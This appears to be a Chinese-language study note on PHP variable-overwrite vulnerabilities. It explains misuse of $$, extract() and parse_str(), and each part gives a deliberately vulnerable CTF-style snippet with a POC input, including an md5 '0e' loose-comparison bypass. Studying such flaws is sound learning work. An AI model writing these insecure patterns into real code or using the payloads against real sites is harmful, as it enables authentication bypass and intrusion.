变量覆盖
定义
- 可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞
主要情形
- $$使用不当
- extract()函数使用不当
- parse_str()函数使用不当
- import_request_variables()使用不当
- 开启全局变量注册
- ……
$$使用不当
1. 定义
- 一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。
2. 漏洞产生
- 使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。
<?php
foreach ($_GET as $key => $value) {
${$key} = $value;
}
echo $a;
?>
如上代码,把GET得到的$key作为新变量的变量名,把GET得到的$value赋值给它
GET ?a=1 第3行回解析为$a=1。就造成了变量覆盖
//例题
<!--foreach($_GET as $key => $value){
$$key = $value;
}
if($name == "meizijiu233"){
echo $flag;
}-->
poc:?name = meizijiu233
extract()使用不当
1. 定义
- extract() 函数从数组中将变量导入到当前的符号表。
- 该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。该函数返回成功设置的变量数目。
2. 语法
extract(array,extract_rules,prefix)
参数 | 描述 |
---|---|
array | 必需。规定要使用的数组。 |
extract_rules | 可选。extract() 函数将检查每个键名是否为合法的变量名,同时也检查和符号表中已存在的变量名是否冲突。对不合法和冲突的键名的处理将根据此参数决定。 |
prefix | 可选。如果 extract_rules 参数的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、 EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS,则 prefix 是必需的。 |
- 从以上说明我们可以看到第一个参数是必须的,会不会导致变量覆盖漏洞由第二个参数决定
3. 例子
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
<?php
extract($_POST);
if ($pass == $thepassword_123) { ?>
<div class="alert alert-success">
<code><?php echo $theflag; ?></code>
</div>
<?php } ?>
<?php } ?>
题目意思是要POST一个pass数据,extract($_POST)会将POST的数据中的键名和键值转换为相应的变量名和变量值,利用这个覆盖$pass和$thepassword_123变量的值,从而满足$pass == $thepassword_123这个条件。
POC:
pass=&thepassword_123= //用POST传入
parse_str()使用不当
1. 定义
- parse_str() 函数用于把查询字符串解析到变量中,如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量。
2. 语法
parse_str(string,array)
参数 | 描述 |
---|---|
strings | 必需。规定要解析的字符串 |
array | 可选。规定储存变量的数组名称。该参数指示变量将被存储到数组中。 |
3. 例子
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include (‘flag.php’);
$a = “www.OPENCTF.com”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)) {
echo $flag;
} else {
exit(‘其实很简单其实并不难!’);
}
}
?>
分析:
首先要求使用GET提交id参数,然后parse_str($id)对id参数的数据进行处理
再使用判断$a[0] != ‘QNKCDZO’&&md5($a[0]) == md5(‘QNKCDZO’)的结果是否为真,为真就返回flag
md5(‘QNKCDZO’)的结果是0e830400451993494058024219903391由于此次要满足$a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)
所以要利用php弱语言特性,0e123会被当做科学计数法,0*10x123。所以需要找到一个字符串md5后的结果是0e开头后面都是数字的,如,240610708,s878926199a
POC:
?id=a[0]=s878926199a //?id=a[0]=240610708